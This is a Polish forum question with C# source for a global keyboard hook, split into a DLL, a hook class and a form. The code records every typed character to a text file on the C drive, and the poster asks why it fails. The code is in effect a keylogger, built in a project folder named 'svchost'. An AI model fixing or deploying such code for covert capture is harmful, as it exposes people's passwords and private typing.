Hak na klawiaturę - nie działa

0

Próbuję zrobić w programie globalny hak na klawiaturę. Posklejałem trochę kodu z różnych przykładów, próbowałem to analizować krok po kroku, wszystko niby działa a efektu nie ma. Po wciśnięciu button1 ma nastąpić instalacja haka a po button2 deinstalacja. W trakcie wszystko to, co przeleci przez hak ma lądować w pliku tekstowym na dysku C. Niestety ten plik wcale nie powstaje, nie wiem dlaczego. Całość sklejałem w oparciu o to. Oto cały kod:

Najpierw DLL-ka:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;

namespace DLL
{
    public class PrzechwytDLL
    {
        private static char caughtChar;
        private static string path = "C:\\plik.txt";
        private const byte VK_SHIFT = 0x10;
        private const byte VK_CAPITAL = 0x14;
        private static bool CapsLockDown;
        private static bool ShiftDown;
        private const uint WM_KEYDOWN = 0x0100;
        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr
        wParam, IntPtr lParam);

        [DllImport("user32.dll")]
        private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[]
        lpKeyState, ref char lpChar, uint flags);

        [DllImport("user32.dll")]
        private static extern bool GetKeyboardState(byte[] data);

        [DllImport("user32.dll")]
        static extern short GetKeyState(int nVirtKey);

        private static void SaveChar(char theChar, string where)
        {
            if (File.Exists(where))
            {
                using (StreamWriter sw = File.AppendText(where))
                {
                    sw.Write(theChar);
                    // nowa linia
                    if (theChar == '\r')
                        sw.Write('\n');
                }
            }
            else
            {
                using (StreamWriter sw = File.CreateText(where))
                {
                    sw.Write(theChar);
                    if (theChar == '\r')
                        sw.Write('\n');
                }
            }
        }
        private static char GetChar(int vkCode)
        {
            byte[] data = new byte[256];
            GetKeyboardState(data);
            char myChar = ' ';
            uint scan = 0;
            ToAscii((uint)vkCode, scan, data, ref myChar, 0);
            return myChar;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct KBDLLHOOKSTRUCT
        {
            public int vkCode;
            public int scanCode;
            public int flags;
            public int time;
            public int dwExtraInfo;
        }
        public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam)
        {
            try
            {
                if (wParam.ToInt64() == WM_KEYDOWN && code >= 0)
                {
                    KBDLLHOOKSTRUCT hookStruct =
                    (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
                    // Shift wciśnięty ??
                    ShiftDown = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true :
                    false);
                    // Tryb pisania dużymi literami włączony ??
                    CapsLockDown = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
                    caughtChar = GetChar(hookStruct.vkCode);
                    if ((CapsLockDown ^ ShiftDown) && Char.IsLetter(caughtChar))
                        caughtChar = Char.ToUpper(caughtChar);
                    if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) ||
                    (caughtChar > 0x20 && caughtChar <= 0x7e) ||
                    (caughtChar == 0x20 && hookStruct.vkCode == 0x20))
                        SaveChar(caughtChar, path);
                }
            }
            catch { }
            return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
        }
    }
}

Potem klasa haka:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Reflection;

namespace WindowsFormsApplication1
{
    class Hak
    {
        private delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam);
        private static HookProc hookProc;
        private IntPtr result;
        private const int WH_KEYBOARD_LL = 0x0d;
        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int code, HookProc func, IntPtr hInstance, int threadID);
        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
        [DllImport("Kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string moduleName);

        private bool GetHookProc()
        {
            try
            {
                string sc = @"E:\Dokumenty\Visual Studio 2010\Projects\svchost\ClassLibrary1\bin\Debug\ClassLibrary1.dll";
                Assembly a = Assembly.LoadFrom(sc);
                Type[] tab = a.GetExportedTypes();
                MethodInfo methodInfo = null;
                foreach (Type t in tab)
                {
                    methodInfo = t.GetMethod("MonitorFunction");
                    if (methodInfo != null)
                        break;
                }
                hookProc = (HookProc)Delegate.CreateDelegate(typeof(HookProc), methodInfo);
                return true;
            }
            catch
            {
                return false;
            }
        }

        public bool InstallHook()
        {
            try
            {
                if (GetHookProc())
                {
                    result = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(@"E:\Dokumenty\Visual Studio 2010\Projects\svchost\ClassLibrary1\bin\Debug\ClassLibrary1.dll"), 0);
                    return true;
                }
                else
                    return false;
            }
            catch
            {
                return false;
            }
        }

        public void CloseHook()
        {
            UnhookWindowsHookEx(result);
        }
    }
}

Na końcu forma:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
    public partial class Okno : Form
    {
        private Hak klasaHak = new Hak();
        public Okno()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            klasaHak.InstallHook();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            klasaHak.CloseHook();
        }
    }
}

Cały kod wykonuje się prawidłowo, nie ma po drodze żadnych wyjątków ani nic. Problem musi tkwić w tej bibliotece DLL.

0

Ej, nikt mi nie pomoże?

Dodam kilka szczegółów, początkowo w metodzie GetHookProc() pętla wyglądała tylko tak:

foreach (Type t in tab)
                {
                    methodInfo = t.GetMethod("MonitorFunction");
                }

ale po wykonaniu pętli methodInfo przyjmowało wartość null i był wyjątek. Kiedy dodałem

  if (methodInfo != null)
                        break;

wyjątek znikł, a zmienna przyjmuje prawidłową(chyba) wartość int code, IntPtr wParam, IntPtr lParam. Może tu jest problem.

Dodam, że SetWindowsHookEx() zwraca 0.

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0